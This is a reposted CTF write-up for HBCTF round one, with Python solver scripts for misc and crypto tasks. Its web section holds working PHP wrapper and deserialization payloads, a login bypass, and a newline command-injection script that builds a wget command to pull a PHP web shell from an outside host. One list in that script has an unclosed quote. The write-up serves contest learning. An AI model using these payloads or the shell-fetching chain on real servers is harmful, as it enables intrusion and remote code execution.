HBCTF第一场WP

转载

Sakura63 于 2017-05-08 19:17:58 发布 2238 收藏 2
分类专栏： CTF 文章标签： CTF wp

HBCTF第一场WP

dr34m 2017-04-07 共2405人阅读 共0个回复

Misc

纳兰比亚-签到题

aGJjdGZ7cTFhbmRhMH0=

base64编码，解码即可，如下图

博兹瓦纳-爆破？其实有更好的办法

原题下载：http://hbctf-1252906577.costj.myqcloud.com/misc/flag6.zip（备用地址）

方法一：

用好压打开能看到crc32如图：

题目又说了6位数，写脚本爆破之得到答案，脚本如下：

Python

```
import binascii
real = 0x9c4d9a5d
for y in range(100000, 999999):
    if real == (binascii.crc32(str(y)) & 0xffffffff):
        print(y)
```

方法二：

有人会想到爆破压缩包，其实这道题并没有加密，只是修改了一位数而已，用winhex或者HxD打开压缩包，修改如图位置为00，保存后就可以直接解压了，关于原理可以百度“zip伪加密”

Crypto

南非-just do it

原题下载：http://hbctf-1252906577.costj.myqcloud.com/crypto/justdoit.cpp（备用地址）

直接上脚本

```python
# -*- coding:utf8 -*-
def foo():
    a=[0]*19
    key="a7shw9o10e63nfi19dk"
    k=[ord(i) for i in key]
    e=[71,100,24,51,16,97,81,59,53,94,99,100,29,116,25,77,96,27,105]
    a[0]=ord('H')
    for i in range(len(e)-1):
        k[i+1]^=k[i]^a[i%7]^a[i%9]
        a[i+1]=0x53^e[i]^k[i]
    print ''.join([chr(i) for i in a])
    pass
if __name__ == '__main__':
    foo()
    print 'ok'
```

WEB

莫桑比克-php是最好的语言

题目地址：http://123.206.66.106

右击查看源码如下图

```php
you are not admin !
<!--
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){
    echo "hello admin!<br>";
    include($file); //class.php
}else{
    echo "you are not admin ! ";
}
 -->
```

方法一：先要加入user参数，而且要满足最后得到的user参数结果为 “the user is admin” ，可以利用php伪协议：

```
http://123.206.66.106/index.php?user=php://input
```

同时利用Hackbar(一个火狐插件)发送post数据为

```
the user is admin
```

如下图

方法二：也可以利用data协议：

```
http://123.206.66.106/?user=data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4=
```

。将the user is admin 用base64的方式传入服务器

然后是看到helle admin! 到这个时候，file参数可以包含class.php文件，pass参数还不知道，这时，同样利用php伪协议来查看class.php源码，payload如下：

```
http://123.206.66.106/index.php/?user=data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4=&file=php://filter/convert.base64-encode/resource=class.php
```

可以看到如图所示base64编码

解码得到源码如下：

```php
<?php
class Read{//f1a9.php
    public $file;
    public function __toString(){
        if(isset($this->file)){
            echo file_get_contents($this->file);
        }
        return "__toString was called!";
    }
}
?>
```

然后构造出pass参数以获取flag，payload如下

```
http://123.206.66.106/index.php/?user=data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4=&file=class.php&pass=O:4:"Read":1:{s:4:"file";s:10:"./f1a9.php";}
```

得到如图界面：

查看源码得到flag

赞比亚-npusec 网络管理系统

首先发现有备份文件 index.php.bak 下载下来,进行审计

```php
function d_addslashes($array){
    foreach($array as $key=>$value){
        if(!is_array($value)){
              !get_magic_quotes_gpc()&&$value=addslashes($value);
              $array[$key]=$value;
        }else{
          $array[$key]=d_addslashes($array[$key]);
        }
    }
    return $array;
}
$_POST = d_addslashes($_POST);
$_GET =  d_addslashes($_GET);
```

发现有伪全局过滤，注入就别想了．再继续往下看，这里存在一个逻辑漏洞：

```php
$username =isset($_POST['username'])?$_POST['username']:die();
$password = isset($_POST['password'])?md5($_POST['password']):die();
$sql="select password from users  where username='$username'";
$result = $conn->query($sql);
if(!$result){
    die('<script>alert("用户名或密码错误!!")</script>');
}
$row = $result->fetch_assoc();
if($row[0] === $password){
    $_SESSION['username']=$username;
    $_SESSION['status']=1;
    header("Location:./ping.php");
}else{
   die("<script>alert('用户名或密码错误!!')</script>");
}
```

关键点在这里：

```php
if(!$result){
    die('<script>alert("用户名或密码错误!!")</script>');
}
```

即便是我们输入一个不存在的用户,这if也永远不会被执行,因为 $db->query($sql) 返回的是一个mysql resource类型,始终不可能为空. 你可以用`var_dump($result)`试一下.

接下来就考察对php的熟悉程度了

```php
$row[0] === $password
```

如果我们输入了一个不存在的用户名,那么$row[0] 是等于 NULL的,但是 md5($array) 也是返回 NULL,所以只需要让password是一个数组,就可以绕过这里

所以最终用户名密码为:

```
username=1&password[]=1
```

绕过登陆之后,发现可以执行ping命令,经过测试发现:

1. ip 必须是 x.x.x.x 的格式, x 代表 1-3个数字

2. ip长度必须大于等于7,小于等于15,否则都会返回ip格式错误

3. 可以使用这样格式的ip: x.x.x.x[任意字符]

当 ip为ip=0.0.0.1||2时,返回 PING 0.0.0.12 (0.0.0.12): 56 data bytes

说明了|| 被替换为空了,同样道理,你可以发现&,$,(),;`,都被替换为了空

最后发现 %0a没有被过滤:

测试:ip=0.0.0.1%0als -al,返回如下,说明ls已经成功执行.

```
PING 0.0.0.1 (0.0.0.1): 56 data bytes
total 8
drwxr-xr-x 2 www-data www-data 4096 Apr  7 04:54 .
drwxr-xr-x 5 www-data www-data 4096 Apr  7 04:54 ..
```

测试:ip=0.0.0.1%0apwd,返回了当前的绝对路径：

```
PING 0.0.0.1 (0.0.0.1): 56 data bytes
/usr/share/nginx/html/sandBox/10.36.101.50
```

发现只有七个字符的可控输入空间,就是7个字符的命令执行啦,参考这篇文章http://wonderkun.cc/index.html/?p=524

下面给出python的payload吧:

Python

```python
#!/usr/bin/python
#-*- coding: utf-8 -*-

import requests
def GetShell():
    url = "http://vctf.ctftools.com/ping.php"
    header = {
        "Cookie":"PHPSESSID=5rfro3re8253tv5f6fp5kd74l6",
        "Content-Type":"application/x-www-form-urlencoded"
    }
    #fileNames = ["1.php","-O\ \\","cn\ \\","\ a.\\","wget\\"]
    # linux创建中间有空格的文件名，需要转义，所以有请求"cn\ \\"
    # 可以修改hosts文件，让a.cn指向一个自己的服务器。
    # 在a.cn 的根目录下创建index.html ，内容是一个php shell
    '''
    wget\\
    \ wo\\
    nd\\
    er\\
    ku\\
    n.\\
    cc\ \\
    -O\ \\
    1.php
    '''
    fileNames = ["1.php","-O\ \\\\","cc\ \\\\","n.\\\\","ku\\\\","er\\\\","nd\\\\","\ wo\\\\","wget\\\'
    ip = "0.0.0.1%0a"
    for fileName in fileNames:
        createFileIp = ip+">"+fileName
        print createFileIp
        data="ip="+createFileIp

        requests.post(url,data=data,headers=header)

    proxy = {"http":"127.0.0.1:8080"}
    getShIp = ip + "ls%20-t>1"
    print getShIp
    data="ip="+getShIp
    requests.post(url,data=data,headers=header,proxies=proxy)
    getShellIp = ip + "sh%201"
    print getShellIp
    data="ip="+getShellIp
    requests.post(url,data=data,headers=header,proxies=proxy)
    shellUrl = "http://vctf.ctftools.com/sandBox/10.25.159.132/1.php"    #10.25.159.132为自己IP
    response = requests.get(shellUrl)
    if response.status_code == 200:
        print "[*] Get shell !"
    else :
        print "[*] fail!"
if __name__ == "__main__":
    GetShell()
```

拿到shell之后,连接本地的数据库,获取flag

HBCTF官方群：595176019

想要看WP可以关注ChaMd5公众号：

PWN题WriteUp下载：点击下载